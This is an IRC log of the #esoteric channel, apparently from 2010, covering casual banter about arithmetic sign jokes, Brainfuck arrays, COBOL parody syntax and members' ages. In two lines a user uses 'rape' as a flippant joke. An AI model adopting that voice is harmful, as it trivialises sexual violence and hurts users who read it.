< 1269283859 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No surprise. Threading has overhead. < 1269283920 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :array access is a possible bottleneck < 1269283961 0 :uoryfon!unknown@unknown.invalid QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1269284679 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269284980 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269286061 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1*1 means I give you a dollar. You are $1 better off. < 1269286061 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1*(-1) means I give an IOU for a dollar. You are $1 worse off. < 1269286061 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(-1)*1 means I take away one dollar. You are $1 worse off. < 1269286063 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(-1)*(-1) means I take away one IOU for a dollar. You are $1 better off. < 1269286429 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Except that if you're an honest person, and you give me an IOU for $1, I'm $1 better off. < 1269286451 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :woah honesty proves cubic truth < 1269286464 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(Slightly less, adjusting for the unknown inflation between the moment I receive the IOU and the moment you actually give me the dollar) < 1269287574 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, non-commutative? < 1269287600 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1269287609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just different interpretations < 1269287620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since (-1)*1 != 1*(-1) there < 1269287626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :one is an IOU the other is not < 1269288118 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if there is a biggest number, which, when you add one to it -- you get zero again < 1269288127 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :can we find this number using subtraction? < 1269288171 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :0 - 1 < 1269288218 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269288856 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Only in modular arithmetic. < 1269289110 0 :olsner!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269289236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, what about negative numbers < 1269289241 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't we wrap around to them fax < 1269289986 0 :olsner!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269292299 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269292391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, what is that "cubic truth" stuff btw? < 1269292394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is it about timecube? < 1269292911 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Most probably. < 1269293640 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269295230 0 :nooga!~nooga@c139-44.icpnet.pl JOIN :#esoteric < 1269296027 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269297348 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269298050 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Thus joineth the trifecta. < 1269298079 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define trifecta < 1269298111 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :another bot mercilessly assassinated < 1269298264 0 :fizzie`!unknown@unknown.invalid NICK :fizzie < 1269298953 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1269298960 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`define trifecta < 1269298963 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* In horse racing terminology, a trifecta is a parimutuel bet in which the bettor must predict which horses will finish first, second, and third in exact order. The word comes from the related betting term, "perfecta". A trifecta is known as a Tierc� in France and Hong Kong. \ [17]en.wikipedia.org/wiki/Trifecta < 1269298979 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's what you meant, right? < 1269299052 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269299077 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I was pretending that nooga - oerjan - coppro were a trifecta, since you joined in that order with no other actions in between ;P < 1269299118 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats Gregor -----###
< 1269299122 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :I'M NOT A HORSE < 1269299130 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That's what she said. < 1269299134 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Nowait. < 1269299137 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :She said "neiiiiiigh" < 1269299155 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269299165 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :she was probably scandinavian then < 1269299174 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Bravo, sir :P < 1269299203 0 :olsner!unknown@unknown.invalid QUIT :Quit: Leaving < 1269299366 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269299809 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :馬よ！ < 1269299946 0 :coppro!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269300048 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269301197 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269301616 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269301650 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269301665 0 :charlls!unknown@unknown.invalid QUIT :Quit: Saliendo < 1269301788 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269302660 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269302846 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269304833 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269305078 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :hello everyone < 1269305092 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1269305149 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :silent day today. < 1269305278 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :hmmm < 1269305363 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION never saw Tritonio_GR before
< 1269305402 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :you've seen me. but you don't remember me. < 1269305417 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :i was usually on this room before one year or so... < 1269305422 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269305422 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :when i was more into brainfuck < 1269305444 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1269305447 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :after that i didn't use an IRC client often. but now i decided that pidgin is nice for IRC too. :-) < 1269305455 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :so i'll be online every day again. < 1269305466 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Cool < 1269305489 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269305497 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :do you remember i way to make arrays in brainfuck? < 1269305566 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :brainfuck IS an arrow < 1269305569 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :brainfuck IS an array* < 1269305572 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :i know. < 1269305578 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :but a way to implement arrays ovcer brainfuck < 1269305591 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :that is ask the user about the index and the value and store it < 1269305603 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :and then ask him for the index and get tha value back < 1269305609 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :something like that < 1269305649 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION remembers seeing several ways to do that, some of which some.. thing used internally
< 1269305702 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :there are several ways. the only usefull thing that i did about this is that i found one that needs n+4 cells to store n values instead of 2*n+a < 1269305845 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Brainfuck_algorithms#x.28y.29_.3D_z_.281-d_array.29_.281_cell.2Farray_element.29 ? < 1269305911 0 :Tritonio_GR!unknown@unknown.invalid PRIVMSG #esoteric :that one. < 1269306251 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269306288 0 :Tritonio_GR!~Tritonio@150.140.224.130 JOIN :#esoteric < 1269306949 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269307155 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1269307619 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269307977 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: ping < 1269307987 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: rape < 1269307990 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, pong < 1269308017 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: PM me PLEASE < 1269308025 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no u < 1269308161 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why would someone want HC insurance with a lifetime cap? < 1269308597 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Being uninformed. < 1269309742 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :What is with this channel and people begging to PM each other. < 1269309898 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: COULD YOU PM ME < 1269309911 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: NOT IF YOUR LIFE DEPENDED ON IT < 1269309912 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AND BY PM, I MEAN POST MERIDIAN < 1269309943 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*MERIDIEM < 1269309966 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: KTHX < 1269309975 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :YWCM < 1269309994 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :WWOD < 1269310051 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: i don't know, i suggest you pray and ask him < 1269310069 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269310070 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OH GREAT AND POWERFUL OERJAN < 1269310082 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I BOW DOWN TO YOUR UNMATCHED GLORY < 1269310086 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :WHAT WOULD OERJAN DO < 1269310091 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wait i thought you were referring to Odin here < 1269310100 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :PLEASE FIND IT IN YOUR HEART TO ANSWER ME MY SIMPLE PLEA < 1269310102 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :WHAT WOULD YOU DO? < 1269310118 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(I find that screaming helps praying, gods are totally deaf) < 1269310125 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :I WOULD TAKE CARE WITH MY LATIN SPELLING < 1269310175 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: i think it's a chicken and egg problem < 1269310199 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :does screaming help because gods are deaf, or are gods deaf because people scream all the time < 1269310203 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269310242 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I find that deafening gods aids finding their believers. < 1269310284 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that - may make sense. < 1269310324 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i mean the believers cannot use miracles to hide if their gods cannot hear them < 1269310361 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It also means that I get to find them by their yelled prayers. < 1269310398 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah. < 1269310625 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269310695 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269310943 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269310952 0 :Slereah!~Slereah@ANantes-259-1-69-66.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1269311763 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269311831 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269312708 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269313849 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269313880 0 :coppro!unknown@unknown.invalid QUIT :Client Quit < 1269315611 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269315677 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269316879 0 :olsner!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269318894 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269319887 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269319958 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269322425 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269322492 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269323938 0 :HackEgo!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269324691 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269324783 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269325339 0 :cheater2!~cheater@ip-80-226-18-72.vodafone-net.de JOIN :#esoteric < 1269325381 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I IS NOW 10 < 1269325383 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :20 < 1269325388 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :NOT 10, 20. < 1269325655 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, we're the same age! < 1269325663 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Whoo. < 1269325666 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :[If you round down] < 1269325669 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Wait, you're 10? :P < 1269325678 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269325691 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should be getting ready to go to sleep or somesuch
< 1269326422 0 :Sgeo_!unknown@unknown.invalid NICK :Sgeo < 1269327550 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: hey i turned 20 on the 12th < 1269327555 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :we are now brothers < 1269327605 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why are all these younger people smarter than I am? < 1269327608 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Really? < 1269327628 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: It's not "smarter" necessarily. < 1269327642 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's just that I've been programming since I was freaking 8 years old. < 1269327735 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's um.. well, not programmed, but read about programming since he was young :/
< 1269327756 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Didn't get much practise back then, but loved reading about it < 1269327854 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Crud, I NEED to wake up by a certain time < 1269327861 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And see no way of guaranteeing it's happening < 1269327891 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: this is the book I'm reading http://i.imgur.com/9Gr7E.jpg < 1269327895 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and yes that is my hand < 1269327908 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION stopped reading physical books a while ago
< 1269327941 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :o.O at COBOL < 1269327948 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION read a COBOL book some time ago
< 1269327954 0 :nooga!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269327971 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Remembered some book or other talking about CORBA. When I saw "COBOL for Dummies", got confused, so bought it < 1269328025 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Why did you stop reading physical books? < 1269328049 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Too much effort to actually take my eyes off the computer, or to go to the library < 1269328084 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269328096 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I am printing and binding books now for people < 1269328158 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, not a fan of paying money for stuff < 1269328325 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should really be preparing for sleep
< 1269328409 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Yeah that is why I am printing these books for people < 1269328421 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :since I sell them at a flat rate of $8 as opposed to $80 < 1269328435 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :$8 > $0 < 1269328445 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :>.> < 1269328572 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Yes but reading a book on paper > reading a book on screen < 1269328593 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and the knowledge gained from the book is usually priceless, if not more valuable than $8 in the future < 1269329242 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the only thing that's priceless is eternal youth < 1269329298 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :everything else is $3.50 < 1269329314 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: tru < 1269329364 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh and true love < 1269329368 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's like $4.75 < 1269329395 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :so your books are overpriced imo < 1269329700 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: math booz < 1269329704 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :booz LOL < 1269329705 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :i mean boox < 1269329725 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1269330078 0 :sebbu2!~sebbu@ADijon-152-1-15-41.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269330100 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269330106 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269330283 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269330353 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269330365 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269331199 0 :clog!unknown@unknown.invalid QUIT :ended < 1269331200 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269331335 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269331428 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269331935 0 :wareya!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269332738 0 :MigoMipo!~migomipo@84-217-5-53.tn.glocalnet.net JOIN :#esoteric < 1269333518 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269333793 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269334072 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269334098 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269335622 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269335692 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269336713 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269336983 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269337376 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269340734 0 :Tritonio_GR!~Tritonio@ix.ceid.upatras.gr JOIN :#esoteric < 1269341210 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269346415 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269347413 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269347433 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269347910 0 :AnMaster!unknown@unknown.invalid TOPIC #esoteric :"Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter: A(g_64,g_64)+1 | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1269348298 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269348314 0 :ais523!~93bcc029@gateway/web/freenode/x-psyehbjuecdtizqz JOIN :#esoteric < 1269348326 0 :ais523!unknown@unknown.invalid QUIT :Changing host < 1269348326 0 :ais523!~93bcc029@unaffiliated/ais523 JOIN :#esoteric < 1269348326 0 :ais523!unknown@unknown.invalid QUIT :Changing host < 1269348326 0 :ais523!~93bcc029@gateway/web/freenode/x-psyehbjuecdtizqz JOIN :#esoteric < 1269348394 0 :ais523!unknown@unknown.invalid TOPIC #esoteric :this topic is incorrect today but will be correct tomorrow | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1269350263 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1269350701 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :"MAIN-MODULE.\nmov y x giving z using AbstractFactory(get property1() while getting property2())." < 1269350710 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :such a pity that was a parody... maybe we should invent it < 1269351003 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ais523: COBOL invented that 50-some years ago < 1269351011 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :(or was that invention) < 1269351017 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: it's meant to be a mix of cobol, asm and java < 1269351038 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ADD ONE TO COBOL GIVING COBOL < 1269351043 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"mov y x giving z" doesn't seem very sensible < 1269351050 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269351068 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nor does the whole AbstractFactory thing, which while rather Java-reminicent, doesn't make sense in that context < 1269351069 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: In no way is anything cobol sensible < 1269351092 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Well, if xyz are meant to be placeholders for more complex expressions it could < 1269351101 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Sure it is < 1269351105 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(in that an AbstractFactory would be a class that would make it easier to create your own factories by providing some of the methods for them, but couldn't themselves be instantiated) < 1269351109 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: No. < 1269351126 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: you can just write "ADD ONE TO COBOL" apparently, no need for the "GIVING COBOL" < 1269351139 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Except that is way less cool < 1269351168 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :over-verbose COBOL is cool nowadays? < 1269351197 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :It's cool only because it's ridiculous and funny. < 1269351209 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ADD ONE TO COBOL GIVING COBOL (AOTCGC) could be the next best thing ais523. If you start making it, I'd support you all the way. < 1269351235 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: I'm pretty sure that that name's been applied to esolangs in the past, maybe as a nickname < 1269351239 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm... ORK? < 1269351327 0 :nooga_!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1269351479 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :COmmon Verbosity-Oriented Language: COVOL < 1269351480 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1269351530 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269351563 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, you could just take Java and change the syntax from C-like to COBOL-like < 1269351574 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that would accomplish the task in question quite well < 1269352304 0 :ais523!unknown@unknown.invalid QUIT :Quit: Page closed < 1269353697 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269353882 0 :Tritonio_GR!~Tritonio@ix.ceid.upatras.gr JOIN :#esoteric < 1269354430 0 :Cyclist2!~eu2@86-44-206-90-dynamic.b-ras2.dbn.dublin.eircom.net JOIN :#esoteric < 1269354537 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269356209 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269356314 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269356823 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269358755 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269359971 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269361284 0 :hiato!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269361317 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269361932 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1269362150 0 :charlls!unknown@unknown.invalid QUIT :Client Quit < 1269362542 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269362635 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269363259 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269363654 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269363870 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269364337 0 :MigoMipo!~migomipo@84-217-11-80.tn.glocalnet.net JOIN :#esoteric < 1269364616 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oklopol < 1269366024 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1269366056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION installs ti link cable software for linux and hopes it will work
< 1269367805 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269367894 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269368138 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax < 1269368381 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol! :o < 1269368384 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION rapes oklopol
< 1269368747 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269368928 0 :MigoMipo!~migomipo@84-217-11-80.tn.glocalnet.net JOIN :#esoteric < 1269369157 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :augur naughty augur < 1269369168 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION bites fax
